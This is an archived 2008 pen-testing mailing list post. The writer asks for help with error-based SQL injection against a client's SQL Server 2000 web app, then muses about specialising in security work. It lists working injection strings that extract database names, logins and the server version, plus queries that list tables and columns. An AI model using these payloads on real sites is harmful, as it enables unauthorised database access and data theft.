

SQL injection (and being a pen tester means being good in every area)

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2008-08/msg00039.html>

- *From:* "mark mark" <haxorplanet@xxxxxxxxx>
 - *Date:* Thu, 7 Aug 2008 19:46:45 +0400
-

Hi,

I'm doing a pentest for a client's web app:

Vulnerable URL:

<http://www.client.com/email.asp?id=1>

So far I have enumerated the following by appending the corresponding queries:

1. databases: or 1=convert(int,(SELECT DB_NAME(0toN)))
2. users: or 1=convert(int, (SELECT TOP 1 name FROM (SELECT TOP 0toN name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC))
3. version: or 1=convert(int,(SELECT @@version))

Now i need to find out the tables and column names and if possible the IP address of the database server itself.

For the table name, i used this query:

SELECT name FROM master..sysobjects WHERE xtype = 'U' which I learned from <http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/>

Gives me the error: "[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'U'

Once I obtain the table names, I can now use this query i also learned from pentestmonkey website:

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

Any idea why the table enumeration query is not working for that site?

The site is running:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

SQL injection (and being a pen tester means being good in every area)

Also, i tried looking for the the variable that holds the IP address of the database server but I couldn't find it in MSDN:
[http://msdn.microsoft.com/en-us/library/aa299742\(SQL.80\).aspx](http://msdn.microsoft.com/en-us/library/aa299742(SQL.80).aspx) , perhaps you know where to look into.

Do you find it difficult to do web application testing with database given that you don't have a professional background in database software development? I only have limited experience with databases (during college) so I find it difficult. Been reading a lot of sql injection cheat sheets, howtows, and david litchfield stuffs and used top 15 sql injection tools but most of those cheat sheets are applicable only to certain applications depending on how they were developed.

It makes me wonder that if you are into information security auditing, you have to be really good in all areas, otherwise you will always rely on automated scanners 80 percent of the time. For instance, when you need to audit cisco configuration, you need at least hands on experience with those devices, for web apps testing you need knowledge of various platform e.g, php, asp/.net, java script, for database you need knowledge in oracle, ms sql server, mysql etc. Not to mention there are a lot more areas like wireless assessment, source code reviews, computer forensics, policies and procedure and so much more.

This boils down to what my former boss always tells me, you need to specialized on one particular area. But how do I choose which area? Database? Cisco? Reverse Engineering? Web app? So difficult to decide. How about you? Are you contented of just having CISSP or CISA certification? How did you choose your specialization? Do you really need to focus on just one area and be good at it for the rest of your life? I just reached my one year mark of being a pentester and I got quite overwhelmed on so many topics that I need to learn.

By the way is there a term that refers to the antonym of a script kiddie? Like a white hat script kiddie, perhaps.

-mark

This list is sponsored by: Cenzic

Top 5 Common Mistakes in
Securing Web Applications
Get 45 Min Video and PPT Slides

www.cenzic.com/landing/securityfocus/hackinar
